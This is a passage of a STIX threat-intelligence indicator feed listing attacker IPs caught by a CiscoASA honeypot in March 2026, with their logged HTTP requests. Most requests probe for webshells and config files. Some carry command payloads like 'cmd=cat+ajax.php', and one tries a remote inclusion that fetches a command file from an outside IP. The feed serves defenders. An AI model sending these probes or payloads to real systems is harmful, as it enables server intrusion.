      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 14,
          "first_seen": "2026-03-08T20:49:30.620Z",
          "last_seen": "2026-03-08T21:02:11.266Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 205100,
          "as_org": "F3 Netze e.V.",
          "event_types": [
            "\"GET /mobrise/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /modules/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /nwebmail/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /panel/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /panel/dhtml/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/phpversions.php?module=upload HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/phpversions.php?module=upload&11 HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/xXx-ELMAYET-xXx.php?9 HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/xXx-mat.php?7 HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/z.php?23 HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /recordings/config.all.php? HTTP/1.1\" 404 - geo: DE; ASN 205100 (F3 Netze e.V.)",
      "id": "indicator--b7d0f0cb-da4d-4717-86a6-4640c6cc1933",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.220.100.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-08T20:59:42.419Z",
          "last_seen": "2026-03-08T20:59:50.756Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 205100,
          "as_org": "F3 Netze e.V.",
          "event_types": [
            "\"GET /recordings/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/includes/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/locale/bg_BG/LC_MESSAGES/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/locale/bg_BG/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/locale/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/misc/config.all.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /admin/ajax.php?module=hotelwakeup HTTP/1.1\" 404 - geo: DE; ASN 205100 (F3 Netze e.V.)",
      "id": "indicator--772c43ae-c695-4fcc-9aad-4a14c1ec9ec1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.220.100.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 8,
          "first_seen": "2026-03-08T20:49:06.382Z",
          "last_seen": "2026-03-08T20:57:22.143Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 205100,
          "as_org": "F3 Netze e.V.",
          "event_types": [
            "\"GET /admin/ajax.php?module=hotelwakeup HTTP/1.1\" 404 -",
            "\"GET /falx.php?xw HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/Zizo.php?z1x HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/zizo.php?123 HTTP/1.1\" 404 -",
            "\"GET /wav.php?123 HTTP/1.1\" 404 -",
            "\"GET /webadmin.php?!23 HTTP/1.1\" 404 -",
            "\"GET /x1.php?123 HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /445122A555.php?2ew HTTP/1.1\" 404 - geo: DE; ASN 205100 (F3 Netze e.V.)",
      "id": "indicator--0daf1a46-a413-452d-8029-bdba033aa0ae",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.220.100.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 13,
          "first_seen": "2026-03-08T20:50:49.204Z",
          "last_seen": "2026-03-08T20:55:39.031Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 205100,
          "as_org": "F3 Netze e.V.",
          "event_types": [
            "\"GET /445122A555.php?2ew HTTP/1.1\" 404 -",
            "\"GET /Ahmed01126291919.php?qwe HTTP/1.1\" 404 -",
            "\"GET /admin/?pal=cat+index.php& HTTP/1.1\" 404 -",
            "\"GET /digium_phones/ajax.php?cmd=cat+ajax.php& HTTP/1.1\" 404 -",
            "\"GET /recordings/.tika.php?2hj HTTP/1.1\" 404 -",
            "\"GET /recordings/Go.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/Hima.php?23 HTTP/1.1\" 404 -",
            "\"GET /recordings/Hima_s.php?123 HTTP/1.1\" 404 -",
            "\"GET /recordings/azoofo.php?p=evil@access&c=cat+azoofo.php&xx HTTP/1.1\" 404 -",
            "\"GET /recordings/graph.php?module=upload HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /dslvl.php?1123 HTTP/1.1\" 404 - geo: DE; ASN 205100 (F3 Netze e.V.)",
      "id": "indicator--3f9957e0-db35-4f19-bd79-634fff6b22f8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.220.100.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 5,
          "first_seen": "2026-03-08T20:57:44.321Z",
          "last_seen": "2026-03-08T20:57:52.034Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 205100,
          "as_org": "F3 Netze e.V.",
          "event_types": [
            "\"GET /dslvl.php?1123 HTTP/1.1\" 404 -",
            "\"GET /sip.txt?ASdwd HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/ml.php?in=http://212.83.160.70/t/cmd.txt HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/ops.php?5awe6 HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /freeppx/fx29.php? HTTP/1.1\" 404 - geo: DE; ASN 205100 (F3 Netze e.V.)",
      "id": "indicator--6dd10c72-72f2-4c5a-a6c1-c34e4c0e46c1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.220.100.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-08T20:51:12.919Z",
          "last_seen": "2026-03-08T20:51:14.660Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 205100,
          "as_org": "F3 Netze e.V.",
          "event_types": [
            "\"GET /freeppx/fx29.php? HTTP/1.1\" 404 -",
            "\"GET /omda.php?xzxr45f HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /aastra/config.all.php? HTTP/1.1\" 404 - geo: DE; ASN 205100 (F3 Netze e.V.)",
      "id": "indicator--30768490-d267-4a2b-b1bf-15504eb6f2b7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.220.100.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 10,
          "first_seen": "2026-03-08T20:55:51.383Z",
          "last_seen": "2026-03-08T20:58:22.725Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 205100,
          "as_org": "F3 Netze e.V.",
          "event_types": [
            "\"GET /aastra/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/assets/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/cdr/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/common/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/helpers/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/i18n/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/main.php?22 HTTP/1.1\" 404 -",
            "\"GET /recordings/main.php?3q HTTP/1.1\" 404 -",
            "\"GET /recordings/main.php?x3 HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /.1767de7680e3992aa99b451b57af68c6.php? HTTP/1.1\" 404 - geo: DE; ASN 205100 (F3 Netze e.V.)",
      "id": "indicator--fb84b985-35aa-4bf3-9339-85120f51ef93",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.220.100.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 18,
          "first_seen": "2026-03-08T20:54:52.792Z",
          "last_seen": "2026-03-08T21:03:22.734Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 205100,
          "as_org": "F3 Netze e.V.",
          "event_types": [
            "\"GET /.1767de7680e3992aa99b451b57af68c6.php? HTTP/1.1\" 404 -",
            "\"GET /Bo.php? HTTP/1.1\" 404 -",
            "\"GET /_asterisk/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/.1767de7680e3992aa99b451b57af68c6.php? HTTP/1.1\" 404 -",
            "\"GET /admin/modules/?npv HTTP/1.1\" 404 -",
            "\"GET /admin/modules/_cache/?npv HTTP/1.1\" 404 -",
            "\"GET /panel/phpversions.php?npv HTTP/1.1\" 404 -",
            "\"GET /recordings/.1767de7680e3992aa99b451b57af68c6.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/a8a.php?c=cat+a8a.php& HTTP/1.1\" 404 -",
            "\"GET /recordings/atmin/config.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /recordings/main.php.1?2w HTTP/1.1\" 404 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--5d5fa7a8-798f-494b-832a-b5056b51ae60",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 4,
          "first_seen": "2026-03-08T20:55:56.829Z",
          "last_seen": "2026-03-08T20:56:02.742Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"GET /recordings/main.php.1?2w HTTP/1.1\" 404 -",
            "\"GET /recordings/main.php.1?5a HTTP/1.1\" 404 -",
            "\"GET /recordings/main.php.2?2s HTTP/1.1\" 404 -",
            "\"GET /recordings/main.php.2?5x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /images/config.all.php? HTTP/1.1\" 404 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--65a3cbfb-bad0-49f4-bc93-fec4dfca4617",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-08T20:59:05.956Z",
          "last_seen": "2026-03-08T20:59:39.897Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"GET /images/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /panel/ming-source/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /recordings.old/config.all.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /admin/views/config.all.php?x HTTP/1.1\" 404 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--5b2832c4-7014-49bd-b1f6-6c75ee0a2082",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-08T21:01:16.364Z",
          "last_seen": "2026-03-08T21:01:18.494Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"GET /admin/views/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /asteriskWS/config.all.php?x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /_asterisk/Xiii.php?yokyok=cat+Xiii.php& HTTP/1.1\" 404 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--a7db6242-593b-483d-902e-b927caaf9e00",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-08T20:51:41.795Z",
          "last_seen": "2026-03-08T20:51:48.080Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"GET /_asterisk/Xiii.php?yokyok=cat+Xiii.php& HTTP/1.1\" 404 -",
            "\"GET /_asterisk/a7a.php?c=cat+a7a.php& HTTP/1.1\" 404 -",
            "\"GET /recordings/Xiii.php?yokyok=cat+Xiii.php& HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /recordings/shell-test.php?vr HTTP/1.1\" 404 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--4c1760b8-4525-49c1-8524-c6692afffa4b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-08T20:52:19.917Z",
          "last_seen": "2026-03-08T20:52:19.917Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"GET /recordings/shell-test.php?vr HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /vtigercrm/saky.php?p=love04h@te HTTP/1.1\" 404 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--25bbf1c2-736f-45ce-8ab2-15d0c2181605",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-08T20:52:41.390Z",
          "last_seen": "2026-03-08T20:52:41.390Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"GET /vtigercrm/saky.php?p=love04h@te HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--575a205d-bfa1-4400-ac77-3c4f6b0d87e2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 45,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-08T20:53:19.781Z",
          "last_seen": "2026-03-08T20:55:05.101Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit"
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /_asterisk/index.php? HTTP/1.1\" 404 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--22944f68-715e-4047-b729-95c67333898b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-08T20:55:07.026Z",
          "last_seen": "2026-03-08T20:55:07.026Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"GET /_asterisk/index.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /admin/modules/ucp/htdocs/config.all.php?x HTTP/1.1\" 404 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--dce746ee-66ff-4fbc-b091-611ec38d3416",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-08T20:54:41.052Z",
          "last_seen": "2026-03-08T21:01:14.223Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"GET /admin/modules/ucp/htdocs/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /admin/themes/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /phpversions.php?module=upload HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--302c64ec-2c55-4aa8-b3fb-621a6fdfe7d9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 45,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-08T20:53:13.824Z",
          "last_seen": "2026-03-08T20:53:16.205Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit"
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /meetme/config.all.php?x HTTP/1.1\" 404 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--27939290-cbd5-41d5-b362-af4ebf8a6ab4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-08T21:02:02.160Z",
          "last_seen": "2026-03-08T21:02:02.160Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"GET /meetme/config.all.php?x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /darkness.php?xasd HTTP/1.1\" 404 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--f107f797-e83d-4f12-84fd-e20a871af737",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
